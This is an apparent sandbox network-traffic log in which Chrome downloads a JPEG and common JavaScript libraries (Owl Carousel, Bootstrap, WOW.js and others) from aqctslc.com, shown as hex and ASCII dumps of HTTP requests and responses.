2025-01-09 23:51:38 UTC	16201	IN	Data Raw: 66 66 63 30 0d 0a ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 46 00 00 ff e1 03 2f 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 35 20 37 39 2e 31 36 33 34 39 39 2c 20 32 30 31 38 2f 30 38 2f 31 33 2d 31 36 3a 34 30 3a 32 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a Data Ascii: ffc0ExifII*DuckyF/http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:
2025-01-09 23:51:38 UTC	16384	IN	Data Raw: ae 85 1a 22 81 40 00 61 df 31 55 2c 0b 5a 67 75 b2 c0 dc 74 01 1d 00 cd ad 18 4a 5f 20 15 ab 4f 75 b5 03 60 62 d6 ce da e5 b0 2d 6a ab eb c5 80 b5 b6 f5 7c 80 95 ae 66 d9 60 2d 68 70 b2 c3 42 4a aa 5e bc 59 15 cd cd db e1 52 8a de df 8d 56 40 42 a6 5e 58 12 27 e5 7d 35 80 2a 9b eb 8a 81 75 c5 54 2e 61 4d 3e 34 59 e2 c2 10 aa f9 d8 04 71 b7 b0 16 1b d7 15 02 ae 55 51 d4 95 4c 27 cd 99 69 75 fb 7b 01 32 f4 58 28 42 5c 32 05 8e 60 3d 10 08 e6 03 d1 05 d3 d4 29 e8 01 f5 60 66 79 20 b0 cf a1 54 c0 0c f2 01 1c c0 7a 22 0b 93 22 7a 80 ec 68 4c f2 0a 43 01 0b 90 0c 72 01 9e 40 00 00 c2 0a 92 90 11 d9 01 87 e4 e4 bb 9a c6 b1 96 db 2a e2 67 90 54 97 c8 2e 24 f4 2a a7 60 1e 80 3b 00 ec 04 0b 80 54 92 88 50 6c 08 04 0a 01 02 a1 40 01 44 02 00 ec 04 ec 00 b0 42 a8 04 Data Ascii: "@a1U,ZgutJ_ Ou`b-j\|f`-hpBJ^YRV@B^X'}5uT.aM>4YqUQL'iu{2X(B\2`=)`fy Tz""zhLCr@gT.$*`;TPl@DB
2025-01-09 23:51:38 UTC	16384	IN	Data Raw: 8a e9 cc 8a dd 68 aa ba f3 08 d0 00 b1 02 b3 6f 22 ae 38 f2 20 89 5b c9 9b bc 72 20 ec 92 58 41 14 04 f5 01 3d 42 eb 36 f2 2a f5 7c 8c b4 c2 ad af 9b b8 5c 82 bb 55 25 85 80 2c 84 50 01 51 d9 57 2d 90 63 7d ef 8a e1 73 0a dd 7c 69 65 e5 f3 0d 4a d8 14 28 15 40 8d a5 a8 56 1f 91 bc 51 4f 52 28 bc 6d e6 ef b0 1d 12 4b 40 8d 20 dc 00 00 02 36 96 ac 2b 0f ca a6 2b 96 15 63 c9 65 97 0b 90 1a 54 aa cf 1e 61 a6 80 00 03 36 be dc 27 2f 82 0d 14 ac 65 fd 99 05 b3 85 d4 82 25 b2 93 c7 56 04 58 a7 56 14 b2 fa d6 7d 4a 2e b7 d7 08 82 55 fd ac d8 05 f1 a4 ce 58 56 ea b6 d4 34 c5 33 36 e2 c0 6b 77 d0 05 b3 64 bb 81 6d a4 73 01 77 15 d7 a0 58 8f 15 ec 14 5f 1a 80 58 a8 05 8a 86 8d 2a 01 fd 60 a2 b5 09 64 2a be 04 13 88 0e 20 17 10 1c 00 72 01 c4 07 00 23 d4 2a 72 02 3c Data Ascii: ho"8 [r XA=B6\|\U%,PQW-c}s\|ieJ(@VQOR(mK@ 6++ceTa6'/e%VXV}J.UXV436kwdmswX_X`d* r#*r<
2025-01-09 23:51:38 UTC	16384	IN	Data Raw: b4 c0 11 e1 fa 95 60 f9 85 1f 34 c0 9a e8 c0 6b 9e 20 4f 4f 60 09 c8 14 00 06 06 40 00 00 00 09 3d 4d 04 f5 01 3d 40 30 32 65 a0 08 cd 00 00 b2 81 51 81 0d 00 19 00 40 65 54 ee 15 00 00 03 26 80 00 ad 44 9e a6 55 0b 00 a8 30 32 00 2a 05 0a 20 00 32 ca d2 00 00 c0 c9 60 8c a2 10 80 69 0a 23 0a 80 0d 2b 2c 08 c0 81 b4 ee 04 2c 07 a1 46 49 d5 43 42 32 0c d8 aa 85 54 ee 00 8a 8c 2a 01 19 b1 02 b2 01 85 64 34 86 86 5e a5 18 b6 a2 34 85 10 2b 06 d5 02 c4 7a 91 50 0c 3d 0d 34 8c 83 2f 43 4d 32 51 96 55 64 aa cb 0a e6 f5 36 ac b2 34 f4 83 96 f2 f6 7c 97 da b1 ab 0a cd 29 2f 7d b5 e0 41 d0 a8 00 03 9d ee db db 5e e4 56 a9 45 55 d7 89 51 a2 68 10 46 d5 54 b0 39 24 fc ae 5f d4 8a ec 94 28 45 40 00 18 bd e3 0b 50 a9 4a 47 ca da b0 3a 04 00 37 1a 81 c5 b7 e4 70 be a4 Data Ascii: `4k OO`@=M=@02eQ@eT&DU02* 2`i#+,,FICB2T*d4^4+zP=4/CM2QUd64\|)/}A^VEUQhFT9$_(E@PJG:7p
2025-01-09 23:51:38 UTC	16384	IN	Data Raw: 05 f6 33 a3 95 ac ee f6 d3 4e 2c d6 ab 75 aa aa 84 06 80 37 19 60 73 cf 92 d0 be 88 2b aa 49 28 50 05 04 4b 59 55 4b 0d 31 4a bb 3d f6 ec 82 ba 04 50 ae 76 b3 b3 d9 5e ec 2b 75 aa aa 84 51 a2 09 6b ed 5c d8 13 c7 5f c9 fd 98 1d 0a ac da ca aa 58 54 a2 76 7b ed d8 a3 a8 19 b5 b6 a9 03 3e 3a bf bb d5 81 d0 2c ac de df 82 d5 95 a6 ea 95 54 20 83 85 96 15 ce 8b 75 9d df 62 ab 0d 0a 37 33 39 61 0d 0a a0 19 9d de 44 b8 20 3a 01 8b 7c ae 97 2c 85 74 0a c6 be 5f 44 07 42 0c 78 f5 b3 ea 50 f2 7d 1e 85 d5 6a ba 22 8c af f9 1f 54 06 ae a6 ac 0b 4c d5 01 94 d2 f2 35 cd 05 5b a9 ab 02 d7 35 4c 0c ac 79 1a e6 6b 43 c8 be 2f a1 31 5a 4e 52 64 19 ae 2e d7 3c 80 f2 7d 67 91 74 69 39 49 8d 19 ae 2f 65 dc a2 df eb 3c 80 d2 72 93 03 35 c5 da c7 30 2f 91 4d 78 60 0a 9c a4 c3 Data Ascii: 3N,u7`s+I(PKYUK1J=Pv^+uQk\_XTv{>:,T ub739aD :\|,t_DBxP}j"TL5[5LykC/1ZNRd.<}gti9I/e<r50/Mx`
2025-01-09 23:51:38 UTC	13350	IN	Data Raw: e6 af b0 41 5f 85 b0 ca aa ea ac b2 1a 72 7b e8 e7 5a 96 32 d2 b5 6d fe 85 a3 36 a4 66 ae 1f 23 2d 0a f9 8b 61 96 2a 5e 8a d9 e3 cc a3 3b ad 5c 5b 4e 61 4b 2a dd 73 2a c6 1e ea 75 a8 0f 8d d0 56 1a b5 34 cd 4d 22 fc 6e 82 c6 3e 54 eb 50 d0 f6 dd 75 0a cc da 98 79 5c cd 08 ea ad 95 a8 54 dc d7 c6 de e1 a6 5d 63 34 f6 03 29 ab e1 ea 04 73 4c 3c d4 a3 2e b3 f2 a0 69 96 d5 f0 f0 c2 99 ae 2d 9a 9a 19 86 b3 5c ae 41 62 7d b3 57 16 e4 1a 65 b4 dc 5b 16 e6 06 1e 31 6c f5 34 a8 e6 bd 6a 15 97 ce b9 5c 51 63 4c 35 39 ae 1f 14 69 a6 21 37 ca c0 65 f5 c3 e6 69 51 e9 9f 74 15 97 a6 72 b9 a0 ac 3f 74 55 65 e9 cd 72 0a cb ce 99 e8 56 92 5a d3 d8 ab 13 72 6e 38 96 28 cd 2b 05 69 97 c4 46 9f 7c 73 1e 68 cd ec aa a5 81 ca 89 dd ee b0 1d 42 00 49 80 39 36 fc 96 85 f5 5a 85 Data Ascii: A_r{Z2m6f#-a^;\[NaKs*uV4M"n>TPuy\T]c4)sL<.i-\Ab}We[1l4j\QcL59i!7eiQtr?tUerVZrn8(+iF\|shBI96Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49791	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:37 UTC	539	OUT	GET /themes/static/js/odometer.min.js HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:38 UTC	244	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:38 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:38 UTC	10277	IN	Data Raw: 32 38 31 38 0d 0a 2f 2a 21 20 6f 64 6f 6d 65 74 65 72 20 30 2e 34 2e 38 20 2a 2f 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 70 2c 71 2c 72 2c 73 2c 74 2c 75 2c 76 2c 77 2c 78 2c 79 2c 7a 2c 41 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 3d 5b 5d 2e 73 6c 69 63 65 3b 71 3d 27 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6f 64 6f 6d 65 74 65 72 2d 76 61 6c 75 65 22 3e 3c 2f 73 70 61 6e 3e 27 2c 6e 3d 27 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6f 64 6f 6d 65 74 65 72 2d 72 69 62 62 6f 6e 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6f 64 6f 6d 65 74 65 72 2d 72 69 62 62 6f 6e 2d 69 6e 6e 65 72 22 3e 27 2b 71 2b 22 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 22 2c 64 3d 27 3c Data Ascii: 2818/! odometer 0.4.8 /(function(){var a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,A,B,C,D,E,F,G=[].slice;q='<span class="odometer-value"></span>',n='<span class="odometer-ribbon"><span class="odometer-ribbon-inner">'+q+"</span></span>",d='<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49790	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:37 UTC	539	OUT	GET /themes/static/js/meanmenu.min.js HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:38 UTC	244	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:38 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:38 UTC	4049	IN	Data Raw: 66 63 35 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 24 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 24 2e 66 6e 2e 6d 65 61 6e 6d 65 6e 75 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 7b 6d 65 61 6e 4d 65 6e 75 54 61 72 67 65 74 3a 6a 51 75 65 72 79 28 74 68 69 73 29 2c 6d 65 61 6e 4d 65 6e 75 43 6f 6e 74 61 69 6e 65 72 3a 22 2e 79 61 6e 67 6f 2d 72 65 73 70 6f 6e 73 69 76 65 2d 6d 65 6e 75 22 2c 6d 65 61 6e 4d 65 6e 75 43 6c 6f 73 65 3a 22 58 22 2c 6d 65 61 6e 4d 65 6e 75 43 6c 6f 73 65 53 69 7a 65 3a 22 31 38 70 78 22 2c 6d 65 61 6e 4d 65 6e 75 4f 70 65 6e 3a 22 3c 73 70 61 6e 20 2f 3e 3c 73 70 61 6e 20 2f 3e 3c 73 70 61 6e 20 2f 3e 22 2c 6d 65 61 6e 52 65 76 65 61 6c 50 6f 73 69 74 69 6f 6e 3a 22 72 69 67 68 74 22 2c 6d 65 61 6e 52 65 76 65 61 6c Data Ascii: fc5!function($){"use strict";$.fn.meanmenu=function(e){var n={meanMenuTarget:jQuery(this),meanMenuContainer:".yango-responsive-menu",meanMenuClose:"X",meanMenuCloseSize:"18px",meanMenuOpen:"<span /><span /><span />",meanRevealPosition:"right",meanReveal

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49793	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:37 UTC	371	OUT	GET /themes/static/js/owl.carousel.min.js HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:38 UTC	244	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:38 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:38 UTC	16140	IN	Data Raw: 61 64 33 63 0d 0a 2f 2a 2a 0d 0a 20 2a 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 76 32 2e 33 2e 34 0d 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 33 2d 32 30 31 38 20 44 61 76 69 64 20 44 65 75 74 73 63 68 0d 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 3a 20 53 45 45 20 4c 49 43 45 4e 53 45 20 49 4e 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 0d 0a 20 2a 2f 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 62 2c 63 29 7b 74 68 69 73 2e 73 65 74 74 69 6e 67 73 3d 6e 75 6c 6c 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 61 2e 65 78 74 65 6e 64 28 7b Data Ascii: ad3c/** * Owl Carousel v2.3.4 * Copyright 2013-2018 David Deutsch * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE */!function(a,b,c,d){function e(b,c){this.settings=null,this.options=a.extend({
2025-01-09 23:51:38 UTC	16384	IN	Data Raw: 69 64 74 68 3f 64 3d 62 2e 69 6e 6e 65 72 57 69 64 74 68 3a 63 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 26 26 63 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 69 65 6e 74 57 69 64 74 68 3f 64 3d 63 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 69 65 6e 74 57 69 64 74 68 3a 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 43 61 6e 20 6e 6f 74 20 64 65 74 65 63 74 20 76 69 65 77 70 6f 72 74 20 77 69 64 74 68 2e 22 29 2c 64 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 70 6c 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 62 29 7b 74 68 69 73 2e 24 73 74 61 67 65 2e 65 6d 70 74 79 28 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 3d 5b 5d 2c 62 26 26 28 62 3d 62 20 69 6e 73 74 61 6e 63 65 6f 66 20 6a 51 75 65 72 79 3f 62 3a 61 28 62 29 29 2c 74 68 69 Data Ascii: idth?d=b.innerWidth:c.documentElement&&c.documentElement.clientWidth?d=c.documentElement.clientWidth:console.warn("Can not detect viewport width."),d},e.prototype.replace=function(b){this.$stage.empty(),this._items=[],b&&(b=b instanceof jQuery?b:a(b)),thi
2025-01-09 23:51:38 UTC	11837	IN	Data Raw: 74 68 69 73 2e 70 72 65 76 69 6f 75 73 26 26 28 67 26 26 28 62 3d 74 68 69 73 2e 63 6f 72 65 2e 63 6f 6f 72 64 69 6e 61 74 65 73 28 74 68 69 73 2e 70 72 65 76 69 6f 75 73 29 2d 74 68 69 73 2e 63 6f 72 65 2e 63 6f 6f 72 64 69 6e 61 74 65 73 28 74 68 69 73 2e 6e 65 78 74 29 2c 64 2e 6f 6e 65 28 61 2e 73 75 70 70 6f 72 74 2e 61 6e 69 6d 61 74 69 6f 6e 2e 65 6e 64 2c 63 29 2e 63 73 73 28 7b 6c 65 66 74 3a 62 2b 22 70 78 22 7d 29 2e 61 64 64 43 6c 61 73 73 28 22 61 6e 69 6d 61 74 65 64 20 6f 77 6c 2d 61 6e 69 6d 61 74 65 64 2d 6f 75 74 22 29 2e 61 64 64 43 6c 61 73 73 28 67 29 29 2c 66 26 26 65 2e 6f 6e 65 28 61 2e 73 75 70 70 6f 72 74 2e 61 6e 69 6d 61 74 69 6f 6e 2e 65 6e 64 2c 63 29 2e 61 64 64 43 6c 61 73 73 28 22 61 6e 69 6d 61 74 65 64 20 6f 77 6c 2d 61 Data Ascii: this.previous&&(g&&(b=this.core.coordinates(this.previous)-this.core.coordinates(this.next),d.one(a.support.animation.end,c).css({left:b+"px"}).addClass("animated owl-animated-out").addClass(g)),f&&e.one(a.support.animation.end,c).addClass("animated owl-a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49788	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:37 UTC	534	OUT	GET /themes/static/js/wow.min.js HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:38 UTC	244	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:38 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:38 UTC	8170	IN	Data Raw: 31 66 64 64 0d 0a 2f 2a 21 20 57 4f 57 20 77 6f 77 2e 6a 73 20 2d 20 76 31 2e 33 2e 30 20 2d 20 32 30 31 36 2d 31 30 2d 30 34 0d 0a 2a 20 68 74 74 70 73 3a 2f 2f 77 6f 77 6a 73 2e 75 6b 0d 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 36 20 54 68 6f 6d 61 73 20 47 72 61 69 6e 67 65 72 3b 20 4c 69 63 65 6e 73 65 64 20 4d 49 54 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 29 64 65 66 69 6e 65 28 5b 22 6d 6f 64 75 6c 65 22 2c 22 65 78 70 6f 72 74 73 22 5d 2c 62 29 3b 65 6c 73 65 20 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 29 62 28 6d 6f 64 75 6c 65 2c 65 78 70 6f 72 74 Data Ascii: 1fdd/! WOW wow.js - v1.3.0 - 2016-10-04 https://wowjs.uk* Copyright (c) 2016 Thomas Grainger; Licensed MIT */!function(a,b){if("function"==typeof define&&define.amd)define(["module","exports"],b);else if("undefined"!=typeof exports)b(module,export

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49794	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:37 UTC	545	OUT	GET /themes/static/js/form-validator.min.js HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:38 UTC	244	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:38 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:38 UTC	6076	IN	Data Raw: 31 37 61 66 0d 0a 2f 2a 21 0d 0a 20 2a 20 56 61 6c 69 64 61 74 6f 72 20 76 30 2e 38 2e 31 20 66 6f 72 20 42 6f 6f 74 73 74 72 61 70 20 34 2c 20 62 79 20 40 31 30 30 30 68 7a 0d 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 35 20 43 69 6e 61 20 53 61 66 66 61 72 79 0d 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 0d 0a 20 2a 0d 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 31 30 30 30 68 7a 2f 62 6f 6f 74 73 74 72 61 70 2d 76 61 6c 69 64 61 74 6f 72 0d 0a 20 2a 2f 0d 0a 0d 0a 2b 66 75 6e 63 74 69 6f 6e 28 61 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 72 65 74 75 72 6e 20 74 Data Ascii: 17af/! Validator v0.8.1 for Bootstrap 4, by @1000hz * Copyright 2015 Cina Saffary * Licensed under http://opensource.org/licenses/MIT * * https://github.com/1000hz/bootstrap-validator */+function(a){"use strict";function b(b){return t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49796	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:37 UTC	375	OUT	GET /themes/static/js/bootstrap.bundle.min.js HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:38 UTC	244	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:38 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:38 UTC	16140	IN	Data Raw: 66 66 61 38 0d 0a 2f 2a 21 0d 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 35 2e 30 2e 30 2d 62 65 74 61 31 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0d 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 30 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0d 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 69 6e 2f 4c 49 43 45 4e 53 45 29 0d 0a 20 20 2a 2f 0d 0a 20 Data Ascii: ffa8/! Bootstrap v5.0.0-beta1 (https://getbootstrap.com/) * Copyright 2011-2020 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */
2025-01-09 23:51:38 UTC	16384	IN	Data Raw: 2e 61 64 64 28 22 61 63 74 69 76 65 22 29 2c 73 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 61 63 74 69 76 65 22 2c 69 2c 6e 29 2c 72 2e 5f 69 73 53 6c 69 64 69 6e 67 3d 21 31 2c 73 65 74 54 69 6d 65 6f 75 74 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 48 2e 74 72 69 67 67 65 72 28 72 2e 5f 65 6c 65 6d 65 6e 74 2c 22 73 6c 69 64 2e 62 73 2e 63 61 72 6f 75 73 65 6c 22 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 6c 2c 64 69 72 65 63 74 69 6f 6e 3a 6f 2c 66 72 6f 6d 3a 61 2c 74 6f 3a 63 7d 29 7d 29 2c 30 29 7d 29 29 2c 68 28 73 2c 64 29 7d 65 6c 73 65 20 73 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 61 63 74 69 76 65 22 29 2c 6c 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 63 74 69 76 65 22 29 2c 74 68 69 73 2e 5f 69 73 53 6c Data Ascii: .add("active"),s.classList.remove("active",i,n),r._isSliding=!1,setTimeout((function(){H.trigger(r._element,"slid.bs.carousel",{relatedTarget:l,direction:o,from:a,to:c})}),0)})),h(s,d)}else s.classList.remove("active"),l.classList.add("active"),this._isSl
